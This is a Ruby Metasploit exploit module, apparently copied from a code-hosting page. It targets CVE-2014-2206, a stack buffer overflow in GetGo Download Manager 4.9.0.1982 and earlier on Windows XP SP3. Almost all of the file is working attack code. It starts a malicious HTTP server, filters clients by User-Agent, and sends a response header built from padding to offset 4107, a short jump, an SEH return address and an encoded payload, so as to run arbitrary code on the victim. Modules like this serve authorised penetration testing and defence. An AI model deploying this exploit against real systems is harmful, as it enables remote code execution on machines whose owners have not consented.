172 lines
4.4 KiB
Ruby
172 lines
4.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
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overly long HTTP response header.
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By persuading the victim to download a file from a malicious server, a
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remote attacker could execute arbitrary code on the system or cause
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the application to crash. This module has been tested successfully on
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Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Julien Ahrens', # Vulnerability discovery
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'Gabor Seljan' # Metasploit module
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],
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'References' =>
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[
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[ 'EDB', '32132' ],
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[ 'OSVDB', '103910' ],
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[ 'CVE', '2014-2206' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'URIPATH' => "/shakeitoff.mp3"
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d",
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'Space' => 2000
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},
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'Targets' =>
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[
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[ 'Windows XP SP3',
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{
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'Offset' => 4107,
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'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 09 2014',
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'DefaultTarget' => 0))
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end
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#
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# Handle the HTTP request and return a response.
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# Code borrowed from: msf/core/exploit/http/server.rb
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#
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def start_http(opts={})
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# Ensture all dependencies are present before initializing HTTP
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use_zlib
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comm = datastore['ListenerComm']
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if (comm.to_s == "local")
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comm = ::Rex::Socket::Comm::Local
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else
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comm = nil
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end
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# Default the server host / port
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opts = {
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'ServerHost' => datastore['SRVHOST'],
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'ServerPort' => datastore['HTTPPORT'],
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'Comm' => comm
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}.update(opts)
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# Start a new HTTP server
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@http_service = Rex::ServiceManager.start(
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Rex::Proto::Http::Server,
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opts['ServerPort'].to_i,
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opts['ServerHost'],
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datastore['SSL'],
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{
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'Msf' => framework,
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'MsfExploit' => self
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},
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opts['Comm'],
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datastore['SSLCert']
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)
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@http_service.server_name = datastore['HTTP::server_name']
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# Default the procedure of the URI to on_request_uri if one isn't
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# provided.
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uopts = {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}.update(opts['Uri'] || {})
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proto = (datastore["SSL"] ? "https" : "http")
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print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
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if (opts['ServerHost'] == '0.0.0.0')
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print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
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end
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# Add path to resource
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@service_path = uopts['Path']
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@http_service.add_resource(uopts['Path'], uopts)
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# As long as we have the http_service object, we will keep the server alive
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while @http_service
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select(nil, nil, nil, 1)
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end
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end
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#
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# Kill HTTP/FTP (shut them down and clear resources)
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#
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def cleanup
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super
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stop_service
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begin
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@http_service.remove_resource(datastore['URIPATH'])
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@http_service.deref
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@http_service.stop
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@http_service.close
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@http_service = nil
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rescue
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end
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end
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def on_request_uri(cli, request)
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print_status("Client connected...")
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unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
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print_error("Sending 404 for unknown user-agent")
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send_not_found(cli)
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return
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end
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sploit = rand_text_alpha(target['Offset'])
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sploit << "\x90\x90\xEB\x06"
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sploit << [target.ret].pack('V')
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sploit << payload.encoded
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print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
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resp = create_response(200, sploit)
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resp.body = ""
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cli.send_response(resp)
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close_client(cli)
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end
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end
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